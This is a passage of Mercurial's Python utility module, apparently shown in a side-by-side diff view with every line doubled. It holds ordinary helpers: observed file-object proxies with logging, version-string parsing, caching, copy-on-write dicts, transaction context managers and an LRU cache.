570 orig = object.__getattribute__(self, r'_orig')
571 res = getattr(orig, name)(*args, **kwargs)
571 res = getattr(orig, name)(*args, **kwargs)
572
572
573 # Call a method on the observer of the same name with arguments
573 # Call a method on the observer of the same name with arguments
574 # so it can react, log, etc.
574 # so it can react, log, etc.
575 observer = object.__getattribute__(self, r'_observer')
575 observer = object.__getattribute__(self, r'_observer')
576 fn = getattr(observer, name, None)
576 fn = getattr(observer, name, None)
577 if fn:
577 if fn:
578 fn(res, *args, **kwargs)
578 fn(res, *args, **kwargs)
579
579
580 return res
580 return res
581
581
582 def close(self, *args, **kwargs):
582 def close(self, *args, **kwargs):
583 return object.__getattribute__(self, r'_observedcall')(
583 return object.__getattribute__(self, r'_observedcall')(
584 r'close', *args, **kwargs)
584 r'close', *args, **kwargs)
585
585
586 def fileno(self, *args, **kwargs):
586 def fileno(self, *args, **kwargs):
587 return object.__getattribute__(self, r'_observedcall')(
587 return object.__getattribute__(self, r'_observedcall')(
588 r'fileno', *args, **kwargs)
588 r'fileno', *args, **kwargs)
589
589
590 def flush(self, *args, **kwargs):
590 def flush(self, *args, **kwargs):
591 return object.__getattribute__(self, r'_observedcall')(
591 return object.__getattribute__(self, r'_observedcall')(
592 r'flush', *args, **kwargs)
592 r'flush', *args, **kwargs)
593
593
594 def isatty(self, *args, **kwargs):
594 def isatty(self, *args, **kwargs):
595 return object.__getattribute__(self, r'_observedcall')(
595 return object.__getattribute__(self, r'_observedcall')(
596 r'isatty', *args, **kwargs)
596 r'isatty', *args, **kwargs)
597
597
598 def readable(self, *args, **kwargs):
598 def readable(self, *args, **kwargs):
599 return object.__getattribute__(self, r'_observedcall')(
599 return object.__getattribute__(self, r'_observedcall')(
600 r'readable', *args, **kwargs)
600 r'readable', *args, **kwargs)
601
601
602 def readline(self, *args, **kwargs):
602 def readline(self, *args, **kwargs):
603 return object.__getattribute__(self, r'_observedcall')(
603 return object.__getattribute__(self, r'_observedcall')(
604 r'readline', *args, **kwargs)
604 r'readline', *args, **kwargs)
605
605
606 def readlines(self, *args, **kwargs):
606 def readlines(self, *args, **kwargs):
607 return object.__getattribute__(self, r'_observedcall')(
607 return object.__getattribute__(self, r'_observedcall')(
608 r'readlines', *args, **kwargs)
608 r'readlines', *args, **kwargs)
609
609
610 def seek(self, *args, **kwargs):
610 def seek(self, *args, **kwargs):
611 return object.__getattribute__(self, r'_observedcall')(
611 return object.__getattribute__(self, r'_observedcall')(
612 r'seek', *args, **kwargs)
612 r'seek', *args, **kwargs)
613
613
614 def seekable(self, *args, **kwargs):
614 def seekable(self, *args, **kwargs):
615 return object.__getattribute__(self, r'_observedcall')(
615 return object.__getattribute__(self, r'_observedcall')(
616 r'seekable', *args, **kwargs)
616 r'seekable', *args, **kwargs)
617
617
618 def tell(self, *args, **kwargs):
618 def tell(self, *args, **kwargs):
619 return object.__getattribute__(self, r'_observedcall')(
619 return object.__getattribute__(self, r'_observedcall')(
620 r'tell', *args, **kwargs)
620 r'tell', *args, **kwargs)
621
621
622 def truncate(self, *args, **kwargs):
622 def truncate(self, *args, **kwargs):
623 return object.__getattribute__(self, r'_observedcall')(
623 return object.__getattribute__(self, r'_observedcall')(
624 r'truncate', *args, **kwargs)
624 r'truncate', *args, **kwargs)
625
625
626 def writable(self, *args, **kwargs):
626 def writable(self, *args, **kwargs):
627 return object.__getattribute__(self, r'_observedcall')(
627 return object.__getattribute__(self, r'_observedcall')(
628 r'writable', *args, **kwargs)
628 r'writable', *args, **kwargs)
629
629
630 def writelines(self, *args, **kwargs):
630 def writelines(self, *args, **kwargs):
631 return object.__getattribute__(self, r'_observedcall')(
631 return object.__getattribute__(self, r'_observedcall')(
632 r'writelines', *args, **kwargs)
632 r'writelines', *args, **kwargs)
633
633
634 def read(self, *args, **kwargs):
634 def read(self, *args, **kwargs):
635 return object.__getattribute__(self, r'_observedcall')(
635 return object.__getattribute__(self, r'_observedcall')(
636 r'read', *args, **kwargs)
636 r'read', *args, **kwargs)
637
637
638 def readall(self, *args, **kwargs):
638 def readall(self, *args, **kwargs):
639 return object.__getattribute__(self, r'_observedcall')(
639 return object.__getattribute__(self, r'_observedcall')(
640 r'readall', *args, **kwargs)
640 r'readall', *args, **kwargs)
641
641
642 def readinto(self, *args, **kwargs):
642 def readinto(self, *args, **kwargs):
643 return object.__getattribute__(self, r'_observedcall')(
643 return object.__getattribute__(self, r'_observedcall')(
644 r'readinto', *args, **kwargs)
644 r'readinto', *args, **kwargs)
645
645
646 def write(self, *args, **kwargs):
646 def write(self, *args, **kwargs):
647 return object.__getattribute__(self, r'_observedcall')(
647 return object.__getattribute__(self, r'_observedcall')(
648 r'write', *args, **kwargs)
648 r'write', *args, **kwargs)
649
649
650 def detach(self, *args, **kwargs):
650 def detach(self, *args, **kwargs):
651 return object.__getattribute__(self, r'_observedcall')(
651 return object.__getattribute__(self, r'_observedcall')(
652 r'detach', *args, **kwargs)
652 r'detach', *args, **kwargs)
653
653
654 def read1(self, *args, **kwargs):
654 def read1(self, *args, **kwargs):
655 return object.__getattribute__(self, r'_observedcall')(
655 return object.__getattribute__(self, r'_observedcall')(
656 r'read1', *args, **kwargs)
656 r'read1', *args, **kwargs)
657
657
658 class observedbufferedinputpipe(bufferedinputpipe):
658 class observedbufferedinputpipe(bufferedinputpipe):
659 """A variation of bufferedinputpipe that is aware of fileobjectproxy.
659 """A variation of bufferedinputpipe that is aware of fileobjectproxy.
660
660
661 ``bufferedinputpipe`` makes low-level calls to ``os.read()`` that
661 ``bufferedinputpipe`` makes low-level calls to ``os.read()`` that
662 bypass ``fileobjectproxy``. Because of this, we need to make
662 bypass ``fileobjectproxy``. Because of this, we need to make
663 ``bufferedinputpipe`` aware of these operations.
663 ``bufferedinputpipe`` aware of these operations.
664
664
665 This variation of ``bufferedinputpipe`` can notify observers about
665 This variation of ``bufferedinputpipe`` can notify observers about
666 ``os.read()`` events. It also re-publishes other events, such as
666 ``os.read()`` events. It also re-publishes other events, such as
667 ``read()`` and ``readline()``.
667 ``read()`` and ``readline()``.
668 """
668 """
669 def _fillbuffer(self):
669 def _fillbuffer(self):
670 res = super(observedbufferedinputpipe, self)._fillbuffer()
670 res = super(observedbufferedinputpipe, self)._fillbuffer()
671
671
672 fn = getattr(self._input._observer, r'osread', None)
672 fn = getattr(self._input._observer, r'osread', None)
673 if fn:
673 if fn:
674 fn(res, _chunksize)
674 fn(res, _chunksize)
675
675
676 return res
676 return res
677
677
678 # We use different observer methods because the operation isn't
678 # We use different observer methods because the operation isn't
679 # performed on the actual file object but on us.
679 # performed on the actual file object but on us.
680 def read(self, size):
680 def read(self, size):
681 res = super(observedbufferedinputpipe, self).read(size)
681 res = super(observedbufferedinputpipe, self).read(size)
682
682
683 fn = getattr(self._input._observer, r'bufferedread', None)
683 fn = getattr(self._input._observer, r'bufferedread', None)
684 if fn:
684 if fn:
685 fn(res, size)
685 fn(res, size)
686
686
687 return res
687 return res
688
688
689 def readline(self, *args, **kwargs):
689 def readline(self, *args, **kwargs):
690 res = super(observedbufferedinputpipe, self).readline(*args, **kwargs)
690 res = super(observedbufferedinputpipe, self).readline(*args, **kwargs)
691
691
692 fn = getattr(self._input._observer, r'bufferedreadline', None)
692 fn = getattr(self._input._observer, r'bufferedreadline', None)
693 if fn:
693 if fn:
694 fn(res)
694 fn(res)
695
695
696 return res
696 return res
697
697
698 DATA_ESCAPE_MAP = {pycompat.bytechr(i): br'\x%02x' % i for i in range(256)}
698 DATA_ESCAPE_MAP = {pycompat.bytechr(i): br'\x%02x' % i for i in range(256)}
699 DATA_ESCAPE_MAP.update({
699 DATA_ESCAPE_MAP.update({
700 b'\\': b'\\\\',
700 b'\\': b'\\\\',
701 b'\r': br'\r',
701 b'\r': br'\r',
702 b'\n': br'\n',
702 b'\n': br'\n',
703 })
703 })
704 DATA_ESCAPE_RE = remod.compile(br'[\x00-\x08\x0a-\x1f\\\x7f-\xff]')
704 DATA_ESCAPE_RE = remod.compile(br'[\x00-\x08\x0a-\x1f\\\x7f-\xff]')
705
705
706 def escapedata(s):
706 def escapedata(s):
707 if isinstance(s, bytearray):
707 if isinstance(s, bytearray):
708 s = bytes(s)
708 s = bytes(s)
709
709
710 return DATA_ESCAPE_RE.sub(lambda m: DATA_ESCAPE_MAP[m.group(0)], s)
710 return DATA_ESCAPE_RE.sub(lambda m: DATA_ESCAPE_MAP[m.group(0)], s)
711
711
712 class fileobjectobserver(object):
712 class fileobjectobserver(object):
713 """Logs file object activity."""
713 """Logs file object activity."""
714 def __init__(self, fh, name, reads=True, writes=True, logdata=False):
714 def __init__(self, fh, name, reads=True, writes=True, logdata=False):
715 self.fh = fh
715 self.fh = fh
716 self.name = name
716 self.name = name
717 self.logdata = logdata
717 self.logdata = logdata
718 self.reads = reads
718 self.reads = reads
719 self.writes = writes
719 self.writes = writes
720
720
721 def _writedata(self, data):
721 def _writedata(self, data):
722 if not self.logdata:
722 if not self.logdata:
723 self.fh.write('\n')
723 self.fh.write('\n')
724 return
724 return
725
725
726 # Simple case writes all data on a single line.
726 # Simple case writes all data on a single line.
727 if b'\n' not in data:
727 if b'\n' not in data:
728 self.fh.write(': %s\n' % escapedata(data))
728 self.fh.write(': %s\n' % escapedata(data))
729 return
729 return
730
730
731 # Data with newlines is written to multiple lines.
731 # Data with newlines is written to multiple lines.
732 self.fh.write(':\n')
732 self.fh.write(':\n')
733 lines = data.splitlines(True)
733 lines = data.splitlines(True)
734 for line in lines:
734 for line in lines:
735 self.fh.write('%s> %s\n' % (self.name, escapedata(line)))
735 self.fh.write('%s> %s\n' % (self.name, escapedata(line)))
736
736
737 def read(self, res, size=-1):
737 def read(self, res, size=-1):
738 if not self.reads:
738 if not self.reads:
739 return
739 return
740 # Python 3 can return None from reads at EOF instead of empty strings.
740 # Python 3 can return None from reads at EOF instead of empty strings.
741 if res is None:
741 if res is None:
742 res = ''
742 res = ''
743
743
744 self.fh.write('%s> read(%d) -> %d' % (self.name, size, len(res)))
744 self.fh.write('%s> read(%d) -> %d' % (self.name, size, len(res)))
745 self._writedata(res)
745 self._writedata(res)
746
746
747 def readline(self, res, limit=-1):
747 def readline(self, res, limit=-1):
748 if not self.reads:
748 if not self.reads:
749 return
749 return
750
750
751 self.fh.write('%s> readline() -> %d' % (self.name, len(res)))
751 self.fh.write('%s> readline() -> %d' % (self.name, len(res)))
752 self._writedata(res)
752 self._writedata(res)
753
753
754 def readinto(self, res, dest):
754 def readinto(self, res, dest):
755 if not self.reads:
755 if not self.reads:
756 return
756 return
757
757
758 self.fh.write('%s> readinto(%d) -> %r' % (self.name, len(dest),
758 self.fh.write('%s> readinto(%d) -> %r' % (self.name, len(dest),
759 res))
759 res))
760 data = dest[0:res] if res is not None else b''
760 data = dest[0:res] if res is not None else b''
761 self._writedata(data)
761 self._writedata(data)
762
762
763 def write(self, res, data):
763 def write(self, res, data):
764 if not self.writes:
764 if not self.writes:
765 return
765 return
766
766
767 # Python 2 returns None from some write() calls. Python 3 (reasonably)
767 # Python 2 returns None from some write() calls. Python 3 (reasonably)
768 # returns the integer bytes written.
768 # returns the integer bytes written.
769 if res is None and data:
769 if res is None and data:
770 res = len(data)
770 res = len(data)
771
771
772 self.fh.write('%s> write(%d) -> %r' % (self.name, len(data), res))
772 self.fh.write('%s> write(%d) -> %r' % (self.name, len(data), res))
773 self._writedata(data)
773 self._writedata(data)
774
774
775 def flush(self, res):
775 def flush(self, res):
776 if not self.writes:
776 if not self.writes:
777 return
777 return
778
778
779 self.fh.write('%s> flush() -> %r\n' % (self.name, res))
779 self.fh.write('%s> flush() -> %r\n' % (self.name, res))
780
780
781 # For observedbufferedinputpipe.
781 # For observedbufferedinputpipe.
782 def bufferedread(self, res, size):
782 def bufferedread(self, res, size):
783 self.fh.write('%s> bufferedread(%d) -> %d' % (
783 self.fh.write('%s> bufferedread(%d) -> %d' % (
784 self.name, size, len(res)))
784 self.name, size, len(res)))
785 self._writedata(res)
785 self._writedata(res)
786
786
787 def bufferedreadline(self, res):
787 def bufferedreadline(self, res):
788 self.fh.write('%s> bufferedreadline() -> %d' % (self.name, len(res)))
788 self.fh.write('%s> bufferedreadline() -> %d' % (self.name, len(res)))
789 self._writedata(res)
789 self._writedata(res)
790
790
791 def makeloggingfileobject(logh, fh, name, reads=True, writes=True,
791 def makeloggingfileobject(logh, fh, name, reads=True, writes=True,
792 logdata=False):
792 logdata=False):
793 """Turn a file object into a logging file object."""
793 """Turn a file object into a logging file object."""
794
794
795 observer = fileobjectobserver(logh, name, reads=reads, writes=writes,
795 observer = fileobjectobserver(logh, name, reads=reads, writes=writes,
796 logdata=logdata)
796 logdata=logdata)
797 return fileobjectproxy(fh, observer)
797 return fileobjectproxy(fh, observer)
798
798
799 def version():
799 def version():
800 """Return version information if available."""
800 """Return version information if available."""
801 try:
801 try:
802 from . import __version__
802 from . import __version__
803 return __version__.version
803 return __version__.version
804 except ImportError:
804 except ImportError:
805 return 'unknown'
805 return 'unknown'
806
806
807 def versiontuple(v=None, n=4):
807 def versiontuple(v=None, n=4):
808 """Parses a Mercurial version string into an N-tuple.
808 """Parses a Mercurial version string into an N-tuple.
809
809
810 The version string to be parsed is specified with the ``v`` argument.
810 The version string to be parsed is specified with the ``v`` argument.
811 If it isn't defined, the current Mercurial version string will be parsed.
811 If it isn't defined, the current Mercurial version string will be parsed.
812
812
813 ``n`` can be 2, 3, or 4. Here is how some version strings map to
813 ``n`` can be 2, 3, or 4. Here is how some version strings map to
814 returned values:
814 returned values:
815
815
816 >>> v = b'3.6.1+190-df9b73d2d444'
816 >>> v = b'3.6.1+190-df9b73d2d444'
817 >>> versiontuple(v, 2)
817 >>> versiontuple(v, 2)
818 (3, 6)
818 (3, 6)
819 >>> versiontuple(v, 3)
819 >>> versiontuple(v, 3)
820 (3, 6, 1)
820 (3, 6, 1)
821 >>> versiontuple(v, 4)
821 >>> versiontuple(v, 4)
822 (3, 6, 1, '190-df9b73d2d444')
822 (3, 6, 1, '190-df9b73d2d444')
823
823
824 >>> versiontuple(b'3.6.1+190-df9b73d2d444+20151118')
824 >>> versiontuple(b'3.6.1+190-df9b73d2d444+20151118')
825 (3, 6, 1, '190-df9b73d2d444+20151118')
825 (3, 6, 1, '190-df9b73d2d444+20151118')
826
826
827 >>> v = b'3.6'
827 >>> v = b'3.6'
828 >>> versiontuple(v, 2)
828 >>> versiontuple(v, 2)
829 (3, 6)
829 (3, 6)
830 >>> versiontuple(v, 3)
830 >>> versiontuple(v, 3)
831 (3, 6, None)
831 (3, 6, None)
832 >>> versiontuple(v, 4)
832 >>> versiontuple(v, 4)
833 (3, 6, None, None)
833 (3, 6, None, None)
834
834
835 >>> v = b'3.9-rc'
835 >>> v = b'3.9-rc'
836 >>> versiontuple(v, 2)
836 >>> versiontuple(v, 2)
837 (3, 9)
837 (3, 9)
838 >>> versiontuple(v, 3)
838 >>> versiontuple(v, 3)
839 (3, 9, None)
839 (3, 9, None)
840 >>> versiontuple(v, 4)
840 >>> versiontuple(v, 4)
841 (3, 9, None, 'rc')
841 (3, 9, None, 'rc')
842
842
843 >>> v = b'3.9-rc+2-02a8fea4289b'
843 >>> v = b'3.9-rc+2-02a8fea4289b'
844 >>> versiontuple(v, 2)
844 >>> versiontuple(v, 2)
845 (3, 9)
845 (3, 9)
846 >>> versiontuple(v, 3)
846 >>> versiontuple(v, 3)
847 (3, 9, None)
847 (3, 9, None)
848 >>> versiontuple(v, 4)
848 >>> versiontuple(v, 4)
849 (3, 9, None, 'rc+2-02a8fea4289b')
849 (3, 9, None, 'rc+2-02a8fea4289b')
850 """
850 """
851 if not v:
851 if not v:
852 v = version()
852 v = version()
853 parts = remod.split('[\+-]', v, 1)
853 parts = remod.split('[\+-]', v, 1)
854 if len(parts) == 1:
854 if len(parts) == 1:
855 vparts, extra = parts[0], None
855 vparts, extra = parts[0], None
856 else:
856 else:
857 vparts, extra = parts
857 vparts, extra = parts
858
858
859 vints = []
859 vints = []
860 for i in vparts.split('.'):
860 for i in vparts.split('.'):
861 try:
861 try:
862 vints.append(int(i))
862 vints.append(int(i))
863 except ValueError:
863 except ValueError:
864 break
864 break
865 # (3, 6) -> (3, 6, None)
865 # (3, 6) -> (3, 6, None)
866 while len(vints) < 3:
866 while len(vints) < 3:
867 vints.append(None)
867 vints.append(None)
868
868
869 if n == 2:
869 if n == 2:
870 return (vints[0], vints[1])
870 return (vints[0], vints[1])
871 if n == 3:
871 if n == 3:
872 return (vints[0], vints[1], vints[2])
872 return (vints[0], vints[1], vints[2])
873 if n == 4:
873 if n == 4:
874 return (vints[0], vints[1], vints[2], extra)
874 return (vints[0], vints[1], vints[2], extra)
875
875
876 def cachefunc(func):
876 def cachefunc(func):
877 '''cache the result of function calls'''
877 '''cache the result of function calls'''
878 # XXX doesn't handle keywords args
878 # XXX doesn't handle keywords args
879 if func.__code__.co_argcount == 0:
879 if func.__code__.co_argcount == 0:
880 cache = []
880 cache = []
881 def f():
881 def f():
882 if len(cache) == 0:
882 if len(cache) == 0:
883 cache.append(func())
883 cache.append(func())
884 return cache[0]
884 return cache[0]
885 return f
885 return f
886 cache = {}
886 cache = {}
887 if func.__code__.co_argcount == 1:
887 if func.__code__.co_argcount == 1:
888 # we gain a small amount of time because
888 # we gain a small amount of time because
889 # we don't need to pack/unpack the list
889 # we don't need to pack/unpack the list
890 def f(arg):
890 def f(arg):
891 if arg not in cache:
891 if arg not in cache:
892 cache[arg] = func(arg)
892 cache[arg] = func(arg)
893 return cache[arg]
893 return cache[arg]
894 else:
894 else:
895 def f(*args):
895 def f(*args):
896 if args not in cache:
896 if args not in cache:
897 cache[args] = func(*args)
897 cache[args] = func(*args)
898 return cache[args]
898 return cache[args]
899
899
900 return f
900 return f
901
901
902 class cow(object):
902 class cow(object):
903 """helper class to make copy-on-write easier
903 """helper class to make copy-on-write easier
904
904
905 Call preparewrite before doing any writes.
905 Call preparewrite before doing any writes.
906 """
906 """
907
907
908 def preparewrite(self):
908 def preparewrite(self):
909 """call this before writes, return self or a copied new object"""
909 """call this before writes, return self or a copied new object"""
910 if getattr(self, '_copied', 0):
910 if getattr(self, '_copied', 0):
911 self._copied -= 1
911 self._copied -= 1
912 return self.__class__(self)
912 return self.__class__(self)
913 return self
913 return self
914
914
915 def copy(self):
915 def copy(self):
916 """always do a cheap copy"""
916 """always do a cheap copy"""
917 self._copied = getattr(self, '_copied', 0) + 1
917 self._copied = getattr(self, '_copied', 0) + 1
918 return self
918 return self
919
919
920 class sortdict(collections.OrderedDict):
920 class sortdict(collections.OrderedDict):
921 '''a simple sorted dictionary
921 '''a simple sorted dictionary
922
922
923 >>> d1 = sortdict([(b'a', 0), (b'b', 1)])
923 >>> d1 = sortdict([(b'a', 0), (b'b', 1)])
924 >>> d2 = d1.copy()
924 >>> d2 = d1.copy()
925 >>> d2
925 >>> d2
926 sortdict([('a', 0), ('b', 1)])
926 sortdict([('a', 0), ('b', 1)])
927 >>> d2.update([(b'a', 2)])
927 >>> d2.update([(b'a', 2)])
928 >>> list(d2.keys()) # should still be in last-set order
928 >>> list(d2.keys()) # should still be in last-set order
929 ['b', 'a']
929 ['b', 'a']
930 '''
930 '''
931
931
932 def __setitem__(self, key, value):
932 def __setitem__(self, key, value):
933 if key in self:
933 if key in self:
934 del self[key]
934 del self[key]
935 super(sortdict, self).__setitem__(key, value)
935 super(sortdict, self).__setitem__(key, value)
936
936
937 if pycompat.ispypy:
937 if pycompat.ispypy:
938 # __setitem__() isn't called as of PyPy 5.8.0
938 # __setitem__() isn't called as of PyPy 5.8.0
939 def update(self, src):
939 def update(self, src):
940 if isinstance(src, dict):
940 if isinstance(src, dict):
941 src = src.iteritems()
941 src = src.iteritems()
942 for k, v in src:
942 for k, v in src:
943 self[k] = v
943 self[k] = v
944
944
945 class cowdict(cow, dict):
945 class cowdict(cow, dict):
946 """copy-on-write dict
946 """copy-on-write dict
947
947
948 Be sure to call d = d.preparewrite() before writing to d.
948 Be sure to call d = d.preparewrite() before writing to d.
949
949
950 >>> a = cowdict()
950 >>> a = cowdict()
951 >>> a is a.preparewrite()
951 >>> a is a.preparewrite()
952 True
952 True
953 >>> b = a.copy()
953 >>> b = a.copy()
954 >>> b is a
954 >>> b is a
955 True
955 True
956 >>> c = b.copy()
956 >>> c = b.copy()
957 >>> c is a
957 >>> c is a
958 True
958 True
959 >>> a = a.preparewrite()
959 >>> a = a.preparewrite()
960 >>> b is a
960 >>> b is a
961 False
961 False
962 >>> a is a.preparewrite()
962 >>> a is a.preparewrite()
963 True
963 True
964 >>> c = c.preparewrite()
964 >>> c = c.preparewrite()
965 >>> b is c
965 >>> b is c
966 False
966 False
967 >>> b is b.preparewrite()
967 >>> b is b.preparewrite()
968 True
968 True
969 """
969 """
970
970
971 class cowsortdict(cow, sortdict):
971 class cowsortdict(cow, sortdict):
972 """copy-on-write sortdict
972 """copy-on-write sortdict
973
973
974 Be sure to call d = d.preparewrite() before writing to d.
974 Be sure to call d = d.preparewrite() before writing to d.
975 """
975 """
976
976
977 class transactional(object):
977 class transactional(object):
978 """Base class for making a transactional type into a context manager."""
978 """Base class for making a transactional type into a context manager."""
979 __metaclass__ = abc.ABCMeta
979 __metaclass__ = abc.ABCMeta
980
980
981 @abc.abstractmethod
981 @abc.abstractmethod
982 def close(self):
982 def close(self):
983 """Successfully closes the transaction."""
983 """Successfully closes the transaction."""
984
984
985 @abc.abstractmethod
985 @abc.abstractmethod
986 def release(self):
986 def release(self):
987 """Marks the end of the transaction.
987 """Marks the end of the transaction.
988
988
989 If the transaction has not been closed, it will be aborted.
989 If the transaction has not been closed, it will be aborted.
990 """
990 """
991
991
992 def __enter__(self):
992 def __enter__(self):
993 return self
993 return self
994
994
995 def __exit__(self, exc_type, exc_val, exc_tb):
995 def __exit__(self, exc_type, exc_val, exc_tb):
996 try:
996 try:
997 if exc_type is None:
997 if exc_type is None:
998 self.close()
998 self.close()
999 finally:
999 finally:
1000 self.release()
1000 self.release()
1001
1001
1002 @contextlib.contextmanager
1002 @contextlib.contextmanager
1003 def acceptintervention(tr=None):
1003 def acceptintervention(tr=None):
1004 """A context manager that closes the transaction on InterventionRequired
1004 """A context manager that closes the transaction on InterventionRequired
1005
1005
1006 If no transaction was provided, this simply runs the body and returns
1006 If no transaction was provided, this simply runs the body and returns
1007 """
1007 """
1008 if not tr:
1008 if not tr:
1009 yield
1009 yield
1010 return
1010 return
1011 try:
1011 try:
1012 yield
1012 yield
1013 tr.close()
1013 tr.close()
1014 except error.InterventionRequired:
1014 except error.InterventionRequired:
1015 tr.close()
1015 tr.close()
1016 raise
1016 raise
1017 finally:
1017 finally:
1018 tr.release()
1018 tr.release()
1019
1019
1020 @contextlib.contextmanager
1020 @contextlib.contextmanager
1021 def nullcontextmanager():
1021 def nullcontextmanager():
1022 yield
1022 yield
1023
1023
1024 class _lrucachenode(object):
1024 class _lrucachenode(object):
1025 """A node in a doubly linked list.
1025 """A node in a doubly linked list.
1026
1026
1027 Holds a reference to nodes on either side as well as a key-value
1027 Holds a reference to nodes on either side as well as a key-value
1028 pair for the dictionary entry.
1028 pair for the dictionary entry.
1029 """
1029 """
1030 __slots__ = (u'next', u'prev', u'key', u'value')
1030 __slots__ = (u'next', u'prev', u'key', u'value')
1031
1031
1032 def __init__(self):
1032 def __init__(self):
1033 self.next = None
1033 self.next = None
1034 self.prev = None
1034 self.prev = None
1035
1035
1036 self.key = _notset
1036 self.key = _notset
1037 self.value = None
1037 self.value = None
1038
1038
1039 def markempty(self):
1039 def markempty(self):
1040 """Mark the node as emptied."""
1040 """Mark the node as emptied."""
1041 self.key = _notset
1041 self.key = _notset
1042
1042
1043 class lrucachedict(object):
1043 class lrucachedict(object):
1044 """Dict that caches most recent accesses and sets.
1044 """Dict that caches most recent accesses and sets.
1045
1045
1046 The dict consists of an actual backing dict - indexed by original
1046 The dict consists of an actual backing dict - indexed by original
1047 key - and a doubly linked circular list defining the order of entries in
1047 key - and a doubly linked circular list defining the order of entries in
1048 the cache.
1048 the cache.
1049
1049
1050 The head node is the newest entry in the cache. If the cache is full,
1050 The head node is the newest entry in the cache. If the cache is full,
1051 we recycle head.prev and make it the new head. Cache accesses result in
1051 we recycle head.prev and make it the new head. Cache accesses result in
1052 the node being moved to before the existing head and being marked as the
1052 the node being moved to before the existing head and being marked as the
1053 new head node.
1053 new head node.
1054 """
1054 """
1055 def __init__(self, max):
1055 def __init__(self, max):
1056 self._cache = {}
1056 self._cache = {}
1057
1057
1058 self._head = head = _lrucachenode()
1058 self._head = head = _lrucachenode()
1059 head.prev = head
1059 head.prev = head
1060 head.next = head
1060 head.next = head
1061 self._size = 1
1061 self._size = 1
1062 self._capacity = max
1062 self._capacity = max
1063
1063
1064 def __len__(self):
1064 def __len__(self):
1065 return len(self._cache)
1065 return len(self._cache)
1066
1066
1067 def __contains__(self, k):
1067 def __contains__(self, k):
1068 return k in self._cache
1068 return k in self._cache
1069
1069
1070 def __iter__(self):
1070 def __iter__(self):
1071 # We don't have to iterate in cache order, but why not.
1071 # We don't have to iterate in cache order, but why not.
1072 n = self._head
1072 n = self._head
1073 for i in range(len(self._cache)):
1073 for i in range(len(self._cache)):
1074 yield n.key
1074 yield n.key
1075 n = n.next
1075 n = n.next
1076
1076
1077 def __getitem__(self, k):
1077 def __getitem__(self, k):
1078 node = self._cache[k]
1078 node = self._cache[k]
1079 self._movetohead(node)
1079 self._movetohead(node)
1080 return node.value
1080 return node.value
1081
1081
1082 def __setitem__(self, k, v):
1082 def __setitem__(self, k, v):
1083 node = self._cache.get(k)
1083 node = self._cache.get(k)
1084 # Replace existing value and mark as newest.
1084 # Replace existing value and mark as newest.
1085 if node is not None:
1085 if node is not None:
1086 node.value = v
1086 node.value = v
1087 self._movetohead(node)
1087 self._movetohead(node)
1088 return
1088 return
1089
1089
1090 if self._size < self._capacity:
1090 if self._size < self._capacity:
1091 node = self._addcapacity()
1091 node = self._addcapacity()
1092 else:
1092 else:
1093 # Grab the last/oldest item.
1093 # Grab the last/oldest item.
1094 node = self._head.prev
1094 node = self._head.prev
1095
1095
1096 # At capacity. Kill the old entry.
1096 # At capacity. Kill the old entry.
1097 if node.key is not _notset:
1097 if node.key is not _notset:
1098 del self._cache[node.key]
1098 del self._cache[node.key]
1099
1099
1100 node.key = k
1100 node.key = k
1101 node.value = v
1101 node.value = v
1102 self._cache[k] = node
1102 self._cache[k] = node
1103 # And mark it as newest entry. No need to adjust order since it
1103 # And mark it as newest entry. No need to adjust order since it
1104 # is already self._head.prev.
1104 # is already self._head.prev.
1105 self._head = node
1105 self._head = node
1106
1106
1107 def __delitem__(self, k):
1107 def __delitem__(self, k):
1108 node = self._cache.pop(k)
1108 node = self._cache.pop(k)
1109 node.markempty()
1109 node.markempty()
1110
1110
1111 # Temporarily mark as newest item before re-adjusting head to make
1111 # Temporarily mark as newest item before re-adjusting head to make
1112 # this node the oldest item.
1112 # this node the oldest item.
1113 self._movetohead(node)
1113 self._movetohead(node)
1114 self._head = node.next
1114 self._head = node.next
1115
1115
1116 # Additional dict methods.
1116 # Additional dict methods.
1117
1117
1118 def get(self, k, default=None):
1118 def get(self, k, default=None):
1119 try:
1119 try:
1120 return self._cache[k].value
1120 return self._cache[k].value
1121 except KeyError:
1121 except KeyError:
1122 return default
1122 return default
1123
1123
1124 def clear(self):
1124 def clear(self):
1125 n = self._head
1125 n = self._head
1126 while n.key is not _notset:
1126 while n.key is not _notset:
1127 n.markempty()
1127 n.markempty()
1128 n = n.next
1128 n = n.next
1129
1129
1130 self._cache.clear()
1130 self._cache.clear()
1131
1131
1132 def copy(self):
1132 def copy(self):
1133 result = lrucachedict(self._capacity)
1133 result = lrucachedict(self._capacity)
1134 n = self._head.prev
1134 n = self._head.prev
1135 # Iterate in oldest-to-newest order, so the copy has the right ordering
1135 # Iterate in oldest-to-newest order, so the copy has the right ordering
1136 for i in range(len(self._cache)):
1136 for i in range(len(self._cache)):
1137 result[n.key] = n.value
1137 result[n.key] = n.value
1138 n = n.prev
1138 n = n.prev
1139 return result
1139 return result
1140
1140
1141 def _movetohead(self, node):
1141 def _movetohead(self, node):
1142 """Mark a node as the newest, making it the new head.
1142 """Mark a node as the newest, making it the new head.
1143
1143
1144 When a node is accessed, it becomes the freshest entry in the LRU
1144 When a node is accessed, it becomes the freshest entry in the LRU
1145 list, which is denoted by self._head.
1145 list, which is denoted by self._head.
1146
1146
1147 Visually, let's make ``N`` the new head node (* denotes head):
1147 Visually, let's make ``N`` the new head node (* denotes head):
1148
1148
1149 previous/oldest <-> head <-> next/next newest
1149 previous/oldest <-> head <-> next/next newest
1150
1150
1151 ----<->--- A* ---<->-----
1151 ----<->--- A* ---<->-----
1152 | |
1152 | |
1153 E <-> D <-> N <-> C <-> B
1153 E <-> D <-> N <-> C <-> B
1154
1154
1155 To:
1155 To:
1156
1156
1157 ----<->--- N* ---<->-----
1157 ----<->--- N* ---<->-----
1158 | |
1158 | |
1159 E <-> D <-> C <-> B <-> A
1159 E <-> D <-> C <-> B <-> A
1160
1160
1161 This requires the following moves:
1161 This requires the following moves:
1162
1162
1163 C.next = D (node.prev.next = node.next)
1163 C.next = D (node.prev.next = node.next)
1164 D.prev = C (node.next.prev = node.prev)
1164 D.prev = C (node.next.prev = node.prev)
1165 E.next = N (head.prev.next = node)
1165 E.next = N (head.prev.next = node)
1166 N.prev = E (node.prev = head.prev)
1166 N.prev = E (node.prev = head.prev)
1167 N.next = A (node.next = head)
1167 N.next = A (node.next = head)
1168 A.prev = N (head.prev = node)
1168 A.prev = N (head.prev = node)
1169 """
1169 """
1170 head = self._head
1170 head = self._head
1171 # C.next = D
1171 # C.next = D
1172 node.prev.next = node.next
1172 node.prev.next = node.next
1173 # D.prev = C
